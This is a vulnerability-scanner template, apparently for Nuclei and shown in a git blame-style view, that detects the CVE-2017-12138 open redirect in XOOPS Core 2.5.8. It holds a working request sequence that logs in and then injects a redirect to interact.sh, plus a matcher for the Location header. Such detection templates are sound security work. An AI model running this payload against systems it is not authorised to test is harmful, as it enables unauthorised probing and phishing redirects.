2022-04-30 08:04:24 +00:00
|
|
|
id: CVE-2017-12138
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: XOOPS Core 2.5.8 - Open Redirect
|
|
|
|
author: 0x_Akoko
|
2022-05-24 09:52:52 +00:00
|
|
|
severity: medium
|
2022-04-30 08:04:24 +00:00
|
|
|
description: XOOPS Core 2.5.8 has a stored URL redirect bypass vulnerability in /modules/profile/index.php because of the URL filter.
|
|
|
|
reference:
|
|
|
|
- https://github.com/XOOPS/XoopsCore25/issues/523
|
2022-04-30 19:42:44 +00:00
|
|
|
- https://xoops.org
|
2022-04-30 08:04:24 +00:00
|
|
|
- https://www.cvedetails.com/cve/CVE-2017-12138
|
|
|
|
classification:
|
2022-05-24 09:52:52 +00:00
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
|
|
cvss-score: 6.1
|
2022-04-30 08:04:24 +00:00
|
|
|
cve-id: CVE-2017-12138
|
|
|
|
cwe-id: CWE-601
|
2022-05-24 09:38:29 +00:00
|
|
|
tags: cve,cve2017,redirect,xoops,authenticated
|
2022-04-30 08:04:24 +00:00
|
|
|
|
|
|
|
requests:
|
2022-05-24 09:38:29 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /user.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
2022-04-30 08:04:24 +00:00
|
|
|
|
2022-05-24 09:38:29 +00:00
|
|
|
uname={{username}}&pass={{password}}&xoops_redirect=%2Findex.php&op=login
|
|
|
|
|
|
|
|
- |
|
2022-06-06 10:40:15 +00:00
|
|
|
GET /modules/profile/index.php?op=main&xoops_redirect=https:www.interact.sh HTTP/1.1
|
2022-05-24 09:38:29 +00:00
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
cookie-reuse: true
|
2022-04-30 08:04:24 +00:00
|
|
|
matchers:
|
|
|
|
- type: regex
|
|
|
|
part: header
|
2022-04-30 19:42:44 +00:00
|
|
|
regex:
|
2022-06-06 10:40:15 +00:00
|
|
|
- '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1
|